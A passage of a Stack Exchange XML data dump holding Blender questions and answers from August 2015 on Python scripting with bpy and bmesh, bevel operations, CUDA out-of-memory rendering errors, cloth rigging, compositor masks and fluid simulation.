coresponds to one value in pattern list&#xA;                    f.material_index = p         # index 0 or 1&#xA;                dig.data.update()&#xA;                bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;            US()&#xA;            time.sleep(1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-10T15:04:42.907" LastActivityDate="2015-08-10T15:04:42.907" Title="Error after script selects object and tries to change to &quot;EDIT&quot; mode" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35437" PostTypeId="2" ParentId="35436" CreationDate="2015-08-10T13:57:35.177" Score="3" Body="&lt;p&gt;Try changing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='DESELECT')&#xA;dig.select = True&#xA;#ADD THIS LINE&#xA;bpy.context.scene.objects.active = dig&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bm = bmesh.from_edit_mesh(dig.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-10T13:57:35.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35438" PostTypeId="1" CreationDate="2015-08-10T14:03:46.463" Score="4" ViewCount="1672" Body="&lt;p&gt;I want to use the bevel-tool to add a face between two other faces. The bevel-tool should use the selected edge(s) as geometry.location  is given via a selected edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E0ir7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E0ir7.png&quot; alt=&quot;This is what I have&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oF3m8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oF3m8.png&quot; alt=&quot;This is what I want&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which bevel-tool should I use?&#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75a_release/bmesh.ops.html?highlight=bmesh.ops.bevel#bmesh.ops.bevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75a_release/bmesh.ops.html?highlight=bmesh.ops.bevel#bmesh.ops.bevel&lt;/a&gt;&#xA;or &#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75a_release/bpy.ops.mesh.html?highlight=bpy.ops.mesh.bevel#bpy.ops.mesh.bevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75a_release/bpy.ops.mesh.html?highlight=bpy.ops.mesh.bevel#bpy.ops.mesh.bevel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how can I set a enum-value? I tried offset_type='OFFSET' but I get the error that int was expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;from mathutils import Vector&#xA;obj = bpy.context.object&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;bm.verts.ensure_lookup_table()&#xA;&#xA;&#xA;selected_edge = None&#xA;for edge in bm.edges:&#xA;    if edge.select:&#xA;        selected_edge = edge&#xA;        print(&quot;edge&quot;, edge)&#xA;&#xA;&#xA;print(&quot;selected_edge&quot;, selected_edge)&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT') # only working in object mode&#xA;faces = bmesh.ops.bevel(bm,&#xA;                geom=[selected_edge],&#xA;                offset=0.2,&#xA;                offset_type='OFFSET',&#xA;                segments=1,&#xA;                profile=0.5,&#xA;                vertex_only=False,&#xA;                clamp_overlap=True,&#xA;                material=-1)&#xA;&#xA;print(&quot;faces&quot;, faces)&#xA;&#xA;bm.to_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="13978" LastEditDate="2015-08-10T16:02:00.933" LastActivityDate="2019-08-27T10:03:15.427" Title="Use the bevel-tool from python script" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35440" PostTypeId="1" CreationDate="2015-08-10T14:12:30.203" Score="6" ViewCount="1248" Body="&lt;p&gt;I want to do an animation of a Blender object that changes color over time using a script. I already found out how to change the colors and set the keyframes from a script, but what I would need in addition is a possibility to &quot;translate&quot; the values of the external data (which are temperature values) to corresponding colors with a colormap (like e. g. the Jet colormap in Matlab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that there is a simpler solutions than calculating these values &quot;by hand&quot;, since I already saw &lt;a href=&quot;https://blender.stackexchange.com/questions/19474/how-can-you-color-smoke-based-on-the-smokes-temperature&quot;&gt;how this can be applied for smoke&lt;/a&gt;, but the solution there seems not to be applicable for objects different from smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you again really much for your answers, you are a great help for me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: the question on the complete task I want to achieve (which has as suggested been split up into several smaller questions) can be found &lt;a href=&quot;https://blender.stackexchange.com/questions/35353/dynamic-flow-chart-animation&quot;&gt;here&lt;/a&gt;, where also the application is shown.&lt;/p&gt;&#xA;" OwnerUserId="16258" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-10-12T14:10:52.783" Title="Set color of Blender object based on external data (e. g. temperature) using a colormap" Tags="&lt;python&gt;&lt;animation&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35441" PostTypeId="2" ParentId="35415" CreationDate="2015-08-10T15:08:41.637" Score="12" Body="&lt;p&gt;Most popular =/= best nor most used (which seems implied by this statistic). Statistics is a tool that I can use to show you any result I want by carefully picking the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paid software does have better tools and is much faster (volumetric booleans, highpoly performance, etc..), so why didn't it win in popularity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know-how in paid-software communities is very guarded, most had to pay for tutoring/tutorials and not so many people are willing to share it for free (usually they gladly tell you when you ask them, but they won't post it online on their own). Between professionals if you are the only one that knows something in the world, you are worth all the money for a company. It is similar how companies guard their know how or they licence it to others for money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find that Blender and SketchUp got all the winning points in the Forums/Youtube/Google category. Free software is available to everyone and they share. On the web, on social medial, everywhere. If this is the key metric no surprise it won.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Enough of this now.. So what tricks blender offers for 3D printing?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Many Import/Export format options&lt;/strong&gt; - which gives you great flexibility. You can bring models from professional CAD or sculpt software and export as STL, OBJ, X3D, Collada or VRML97/2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Solidify modifier&lt;/strong&gt; to make it hollow inside&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;3D Printing Toolbox Addon&lt;/strong&gt; - this is a nice tool to analyze your mesh if it will print nicely&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You want to check minimal wall thickness&lt;/li&gt;&#xA;&lt;li&gt;If the mesh can exist in real world (is manifold)&lt;/li&gt;&#xA;&lt;li&gt;Check overhang geometry&lt;/li&gt;&#xA;&lt;li&gt;Check normals if all pointing out&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Powerful modelling tools to fix any errors&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Average/Good_Enough_If_You_Have_Time sculpting tools&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Python scripting for automation and customization&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tutorials everywhere and great community&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And it is free :) The only cost is your time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2017-05-28T13:36:06.007" LastActivityDate="2017-05-28T13:36:06.007" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35442" PostTypeId="2" ParentId="35398" CreationDate="2015-08-10T15:42:30.007" Score="11" Body="&lt;p&gt;It's possible, here is a flow chart of the dependencies:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8yRoj.png&quot; alt=&quot;www.draw.io&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You want all your bones in your Control rig (deform and non-deform), except your Spline IK bones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The control rig will control Curve vertices with Hook modifiers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Curve controls IK Splines in deform rig. You want to copy all the deform bones from Control rig to Deform rig and copy transforms from Control.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Deform rig now should have all the bones to deform character. Bind the mesh to this armature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent everything to Control rig. You can hide the Curve and Deform rig from view and render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-10T15:42:30.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35443" PostTypeId="1" CreationDate="2015-08-10T15:44:20.860" Score="-1" ViewCount="1884" Body="&lt;p&gt;I get this CUDA error: Out of memory in cuMemAlloc(&amp;amp;device_pointer,size) when I try to render the image with particles (hair) with my GPU. It doesn't render at all (even with experimental chosen). Without the hair it works but that's not what I need. The image I am trying to render is quite big. It does render with CPU but it is very slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need some help as I am a real newbie to blender. I' ve tried all the solutions I can think of and get my hands on. &#xA;I've tried &lt;a href=&quot;https://blender.stackexchange.com/questions/7485/enabling-gpu-rendering-for-cycles&quot;&gt;Enabling GPU rendering for Cycles?&lt;/a&gt; but it doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to solve this problem and render it using GPU?&#xA;I would greatly appreciate some advice. THANK YOU!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOME DETAILS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a PC, System: 64 bit Windows 7, RAM 16 GB,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphics Card: GeForce GTX 750 (new), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GeForce 352.78 Driver, Cuda 7.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.75a&lt;/p&gt;&#xA;" OwnerUserId="16308" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-10T16:08:07.377" Title="Problem with GPU- rendering particles. CUDA error in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;particles&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-10T16:38:57.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="35444" PostTypeId="2" ParentId="35443" CreationDate="2015-08-10T16:08:07.377" Score="3" Body="&lt;p&gt;The GTX 750 has only one GB of Memory, so there is a good chance that you won't be able to render a complex scene like you describe using only the GPU . If you  only have this graphics card in your sysetm and it is is also being used to power the monitor(s) you have even less resources available for rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplify the scene, reduce the size  of textures and particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Break the scene down in different render passes that your machine can handle, saving to OpenEXR files and composite later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook up the monitor to another graphics card (or Built in port) and use the Nvidia GPU for rendering only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render on CPU and you'll be able to access a bigger pool of RAM from the system (plus virtual memory on disk)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render on a render farm service.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-10T16:08:07.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35445" PostTypeId="1" CreationDate="2015-08-10T16:37:31.750" Score="1" ViewCount="102" Body="&lt;p&gt;I have this at the end of a function, so every time I execute it, I would like to use view_all for those three area types from whatever area is active. But I get an obvious context error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        bpy.ops.action.view_all()&#xA;        bpy.ops.graph.view_all()&#xA;        bpy.ops.timeline.view_all()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, how can I use all three from a single context area?&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-08-10T16:37:31.750" Title="using bpy.ops.*.view_all" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35446" PostTypeId="1" AcceptedAnswerId="35710" CreationDate="2015-08-10T16:53:05.543" Score="2" ViewCount="192" Body="&lt;p&gt;I choose the scale or rotate option that's on top of the render timeline, but every time I left click, the red circle with the 4 black lines sticking out (3D cursor) is selected, and not the scaling or rotating options. Is there any way I can fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I have posted this on blender as a bug. Can someone who has enough reputation close this question as not constructive (ie this question is something that needs to be discussed not answered)? Thank you for all your help.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2: This is my computer specific, please check my solution below.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16310" LastEditorUserId="16310" LastEditDate="2015-08-15T17:47:08.957" LastActivityDate="2015-08-15T17:47:08.957" Title="Cannot scale or rotate objects" Tags="&lt;interface&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35447" PostTypeId="1" CreationDate="2015-08-10T16:54:25.967" Score="2" ViewCount="291" Body="&lt;p&gt;Is it possible to attribute a shortcut has a symbol as the inverted comma or square bracket ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edit to give a little more information.&#xA;I created an operator who write me directly in the text éditor &lt;code&gt;&quot;&quot;&lt;/code&gt;&#xA;and which places me the cursor directly between both.&#xA;I'd like to attribute the &lt;code&gt;&quot;&lt;/code&gt; as shortcut to this operator.&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="11582" LastEditDate="2015-08-10T17:14:39.313" LastActivityDate="2015-08-10T17:14:39.313" Title="Define &quot; as a shortcut" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35448" PostTypeId="2" ParentId="35414" CreationDate="2015-08-10T17:13:58.143" Score="6" Body="&lt;p&gt;Your setup seems to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material you want to use as mask must have an Pass Index number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GNcd1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNcd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the render layers enable Material Index&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/68abg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/68abg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;strong&gt;&lt;Kbd&gt;F12&lt;/kbd&gt;&lt;/strong&gt;: &lt;strong&gt;YOU HAVE TO RENDER THE IMAGE&lt;/strong&gt; for this changes to update, and the compositor has the proper information to work with (Sounds simple, but this step is sometimes overlooked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, the node setup could be something like this, where the ID mask index matches the index set for the eye material and is used as a mask for further transformations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cdInO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdInO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-10T18:02:58.940" LastActivityDate="2015-08-10T18:02:58.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35449" PostTypeId="1" CreationDate="2015-08-10T17:26:18.713" Score="6" ViewCount="978" Body="&lt;p&gt;I am animating some text (converted to a mesh) shake around in front of the camera. After that, I want it to turn into a fluid and fall away.  I tried going to the starting point of the mesh falling as a fluid (frame 86), and then made a giant, transparent cube for the domain and made the text mesh the inflow.  When I baked the fluid, all that happened was that that fluid started falling out from the starting point of the text in frame 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am rendering with Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.P.S. I would like the fluid to fall until frame 250.&lt;/p&gt;&#xA;" OwnerUserId="16311" LastEditorUserId="5705" LastEditDate="2016-01-02T00:35:27.730" LastActivityDate="2016-05-10T22:07:56.017" Title="Fluid emission doesn't follow animated inflow object" Tags="&lt;mesh&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35451" PostTypeId="1" CreationDate="2015-08-10T17:38:26.900" Score="1" ViewCount="847" Body="&lt;p&gt;So basically if you use a Damped Track constraint + Limit Distance constraint to move a bone with another one there is these strange bugs where the mesh doesn't move with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially when creating an animation this is a real problem because what happens is that you set up the keyframe for the thing and the mesh will move like it 1 frame later. At the actual keyframe it will have the position of the frame before and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys know this issue and maybe got a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Well, I managed the animation somehow.&#xA;When you move the bone once it will reset the weird position then you can cancel the move. Yet there is some strange issues with the positions, I don't even know how they emerge. Plus I don't know if the animation will run correctly in any situation or if there will be these slight position changes occurring and this sucks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Maybe someone can tell me that the animation runs correctly when for example used multiple times and with interpolation to other animations in the bge &lt;em&gt;hoping&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Maybe fix this issue Blender guys, not pointing a finger.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="2217" LastEditDate="2017-10-17T16:47:44.767" LastActivityDate="2021-04-14T18:59:35.733" Title="Damped Track constraint on bone lags" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35452" PostTypeId="1" AcceptedAnswerId="35453" CreationDate="2015-08-10T17:43:20.493" Score="5" ViewCount="6789" Body="&lt;p&gt;I've a character that's draped with a piece of cloth along it's waist and it runs down along the leg as well. That is, the legs of the character are loosely (not tight fitting) , but entirely covered by some garment. I have fit a rig to the character and did the skinning by parenting the character to the armature. So now when I move the armature the corresponding limbs of the character also moves , as expected (in Pose mode). But the legs of the character penetrate through the cloth when the legs are moved.&lt;br&gt;&#xA;I want the rigging such that the cloth is also part of the system. When the legs are moved, they should push the covering garment, and not penetrate through it, or tear it. The character has a Collision modifier already added to it, and the garment has a cloth modifier. How do I do the rigging with the character's clothes on?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-12-31T22:39:16.710" Title="Blender character rigging with cloth wrapped over the body" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;cloth-simulation&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35453" PostTypeId="2" ParentId="35452" CreationDate="2015-08-10T18:10:55.940" Score="2" Body="&lt;p&gt;There is a function to copy vertex groups to non-matching meshes. It is great for automatically skinning clothing on characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select the character mesh, then shift + select the clothing. Press spacebar and type &quot;transfer weights&quot;. An operator should show up. This seems to be broken in the latest blender 2.74+ but try 2.73. (I just tried on a copy of 2.71 I have laying around and it works well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new versions have &quot;Transfer mesh data&quot; but it does not seem to work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-08-10T18:16:44.230" LastActivityDate="2015-08-10T18:16:44.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35456" PostTypeId="1" CreationDate="2015-08-10T19:16:05.137" Score="2" ViewCount="96" Body="&lt;p&gt;Frame blending is a very useful function to have when messing about with frame rates and timings of movies and frame sequences.  It's clear that that option is no longer available (at least, overtly) in 2.76a.  Is there a hidden switch, or is it built into some of the options in VSE's Speed Control effects strip?&lt;/p&gt;&#xA;" OwnerUserId="11316" LastActivityDate="2015-08-10T19:16:05.137" Title="Is there an Enable Frame Blending option or replacement in Blender 2.76a?" Tags="&lt;video-sequence-editor&gt;&lt;properties&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2016-01-23T22:38:38.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="35457" PostTypeId="2" ParentId="35237" CreationDate="2015-08-10T19:30:19.603" Score="1" Body="&lt;p&gt;The super-simple example is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def mission1(obj):&#xA;    mat = bpy.data.materials.new(&quot;bacon&quot;)&#xA;    mat.diffuse_color=(0.8,0,1)&#xA;&#xA;    obj.data.materials[0] = mat&#xA;&#xA;obj = bpy.context.active_object&#xA;mission1(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to actually create and rig nodes, update your question with a screenshot of nodes you have manually created and if I have time I'll cobble together some code to build a matching node tree using python.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-08-10T19:30:19.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35458" PostTypeId="1" AcceptedAnswerId="35465" CreationDate="2015-08-10T21:31:58.403" Score="2" ViewCount="249" Body="&lt;p&gt;I am using the python API to create a node tree for a texture and I'd like to make many of the nodes minimized so they take up less space.  In the UI you accomplish this by clicking the triangle in the upper left corner of the node.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tex = bpy.data.textures['Tex']&#xA;n1 = tex.node_tree.nodes.new(&quot;TextureNodeDecompose&quot;)&#xA;n1.minimize() # there is no such function, so what do I do?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While Mr Zak pointed out what I assume is a workable solution, I happen to have a religious objection to using bpy.ops unless there is no other choice (because bpy.ops has cooties; and I bet a dollar that the length of code for a bpy.ops solution will probably be an order of magnitude longer than a non-bpy.ops solution).  Also: any bpy.ops solutions must include the python code required to prepare the UI context.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-08-10T21:56:00.180" LastActivityDate="2015-08-10T23:56:03.840" Title="how do I minimize a texture node using python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35459" PostTypeId="1" CreationDate="2015-08-10T21:36:28.817" Score="2" ViewCount="599" Body="&lt;p&gt;First message in blender but after hours trying to find a solution, I need help from you guys!&lt;/p&gt;&#xA;&lt;p&gt;I would like to draw with 3 lines a sharp curve, in which a cylinder will follow them and be cut at the meeting points without deformation (like a rigid object).&#xA;Of course there will be superpositions of the pieces of the cylinder if there is no deformation to take the curve, but this is perfect because I would like to know the shape of this superposition.&lt;/p&gt;&#xA;&lt;p&gt;Like that I will know how I have to cut the cylinder (so remove littles triangles) to shape it exactly like the curve.&lt;/p&gt;&#xA;&lt;p&gt;so 1) Do you know a tool to design just lines linked together to design the shape (path is not good because it s not a curve I need, but a sequence of 3 lines changing direction at nods points),&#xA;2) I can I do to force the cylinder to take the shape of the 3 successive lines and tell me the superpositions parts?&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much!!!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LQdVA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQdVA.jpg&quot; alt=&quot;Remove the ill bone and shape a cylinder piece by piece&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1YNaO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1YNaO.png&quot; alt=&quot;The cylinder : remove triangles to shape it exactly in the shape you want&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16317" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-11T20:48:25.813" Title="How to cut cylinder in a bending shape without deformations?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35460" PostTypeId="1" CreationDate="2015-08-10T21:37:44.687" Score="2" ViewCount="622" Body="&lt;p&gt;Why is it that, when I open a rig that has the limbs separate and the bones don't move the mesh yet, I select the armature and go to pose mode, then open the rig of the body in weight paint mode and try to select a bone, the whole armature is outlined in red rather than outlining a single bone in blue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4zhzO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4zhzO.png&quot; alt=&quot;How it looks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16316" LastEditorUserId="32220" LastEditDate="2019-01-31T16:15:44.633" LastActivityDate="2020-11-15T22:00:35.047" Title="When in weight paint, armature is outlined in red rather than selecting a bone?" Tags="&lt;modeling&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35461" PostTypeId="1" CreationDate="2015-08-10T22:33:35.810" Score="1" ViewCount="150" Body="&lt;p&gt;I've written a script that creates an environment with various physics types-it generates a fair number of soft body objects (&gt;100) and, unfortunately, when I try to run the sim, blender crashes. Any way to fix this? &lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-08-10T22:33:35.810" Title="bge keeps on crashing when I try to do soft-body simulations?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-11T12:51:11.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="35462" PostTypeId="1" CreationDate="2015-08-10T22:50:02.400" Score="1" ViewCount="102" Body="&lt;p&gt;There is an annoying shadow that is showing up in the middle of the floor after I render the scene! I have no idea where it is coming from. I am new at this, and just trying to change the materials on the floor. See image (bottom render) att&lt;a href=&quot;https://i.stack.imgur.com/TMd51.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMd51.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16320" LastActivityDate="2015-08-10T22:50:02.400" Title="How do I get rid of a random semi-circle on floor that shows up after scene is rendered??" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-08-11T21:38:32.673" ContentLicense="CC BY-SA 3.0" />
